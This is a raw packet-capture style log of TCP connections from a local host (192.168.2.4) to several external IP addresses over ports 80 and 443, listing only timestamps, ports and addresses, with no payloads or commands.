Dec 19, 2024 20:11:43.636760950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.636868954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.636881113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.636893988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.636934042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.638766050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.642519951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.783108950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.783164978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.783206940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.783252001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.783427000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.783477068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.783478975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.783518076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.784090042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.784141064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.784396887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.784444094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.785017014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.785100937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.785110950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.785171032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.785870075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.785917997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.785989046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.786072969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.786794901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.786947012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.786988974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.787681103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.787725925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.787790060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.788002968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.788570881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.788630009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.788717031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.788793087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.789489985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.789546967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.789576054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.789616108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.790364981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.790405035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.790445089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.790493011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.791241884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.791290998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.791423082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.791474104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.792184114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.792268038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.792653084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.792768002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.793045044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.793087959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.793127060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.793191910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.793952942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.794019938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.794167042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.794215918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.794822931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.794903040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.795121908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.795186996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.795752048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.795811892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.796082973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.796459913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.796617031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.796664953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.797070026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.797126055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.797538996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.797544956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.797591925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.797607899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.798399925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.798444033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.799216032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.799267054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.799303055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.799349070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.799638033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.799681902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:43.800175905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:43.800221920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:46.117624998 CET	49835	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:46.117955923 CET	49872	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:46.237629890 CET	80	49872	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:46.237725019 CET	49872	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:46.237951040 CET	49872	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:46.238751888 CET	80	49835	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:46.238809109 CET	49835	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:46.263343096 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:46.263447046 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:46.263557911 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:46.263709068 CET	49858	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:46.263722897 CET	443	49858	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:46.321115971 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:46.321166992 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:46.321274042 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:46.321621895 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:46.321638107 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:46.357470989 CET	80	49872	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:47.084037066 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:47.084089041 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:47.084198952 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:47.101330042 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:47.101351976 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:47.552654028 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:47.552814960 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:47.567393064 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:47.567429066 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:47.567692041 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:47.570261002 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:47.570297956 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:47.570353031 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:47.588742018 CET	80	49872	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:47.590317011 CET	49872	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:47.805996895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:47.809880972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:47.926003933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:47.926168919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:47.929450989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:47.929534912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:47.929794073 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:48.049841881 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:48.324968100 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:48.325062037 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:48.325154066 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:48.325366974 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:48.325401068 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:48.325417042 CET	49874	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:48.325428009 CET	443	49874	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:48.841614008 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:48.842384100 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:48.842428923 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:48.843555927 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:48.843643904 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:48.845176935 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:48.845272064 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:48.867235899 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:48.867259979 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:48.911943913 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:49.253554106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.253612995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.253621101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.253735065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.253873110 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.253882885 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.253899097 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.253941059 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.254364967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.254374027 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.254381895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.254396915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.254422903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.254441977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.346247911 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:49.346379042 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:49.346708059 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:49.358285904 CET	49875	443	192.168.2.4	34.226.108.155
Dec 19, 2024 20:11:49.358305931 CET	443	49875	34.226.108.155	192.168.2.4
Dec 19, 2024 20:11:49.374068975 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.374082088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.374147892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.378218889 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.378318071 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.378321886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.378443956 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.446002960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.446067095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.446140051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.450211048 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.450301886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.450333118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.450449944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.458590031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.458673000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.458745956 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.466953039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.467067957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.467123032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.475369930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.475471020 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.475534916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.483772039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.483928919 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.483980894 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.492480993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.492491961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.492544889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.500628948 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.500682116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.500794888 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.500844002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.509335995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.509345055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.509399891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.517383099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.517441988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.517503977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.517699003 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.525861025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.525927067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.525958061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.525969982 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.533369064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.533489943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.533560991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.533576965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.638303995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.638379097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.638420105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.638473034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.649904966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.649939060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.649980068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.650000095 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.650083065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.650104046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.650157928 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.650470972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.650648117 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.650703907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.655281067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.655355930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.655383110 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.655503035 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.659646034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.659707069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.659792900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.664386034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.664531946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.664594889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.669100046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.669168949 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.669200897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.669317007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.673743010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.673815966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.673880100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.673928022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.678263903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.678333044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.678368092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.678420067 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.682933092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.683000088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.683012962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.683264017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.687478065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.687572002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.687632084 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.692073107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.692156076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.692195892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.696690083 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.696779013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.696818113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.696907043 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.701256037 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.701298952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.701337099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.701350927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.705801010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.705929995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.705986023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.710417986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.710566998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.710599899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.710623980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.715123892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.715240955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.715305090 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.719521046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.719634056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.719723940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.719769001 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.830486059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.830564976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.830626011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.831101894 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.832362890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.832418919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.833070040 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.833125114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.833162069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.833436966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.836846113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.836944103 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.836971045 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.837268114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.840590954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.840647936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.840679884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.840785980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.844244957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.844306946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.844351053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.844396114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.847795010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.847856998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.847857952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.847902060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.851262093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.851366997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.851402044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.851432085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.854877949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.854984999 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.855065107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.855065107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.858242989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.858333111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.858359098 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.858371019 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.861704111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.861785889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.861804962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.861861944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.865037918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.865118980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.865159988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.865173101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.868434906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.868508101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.868546009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.868588924 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.871841908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.871939898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.872020006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.875341892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.875395060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.875426054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.875489950 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.878784895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.878864050 CET	49877	80	192.168.2.4	31.41.244.11
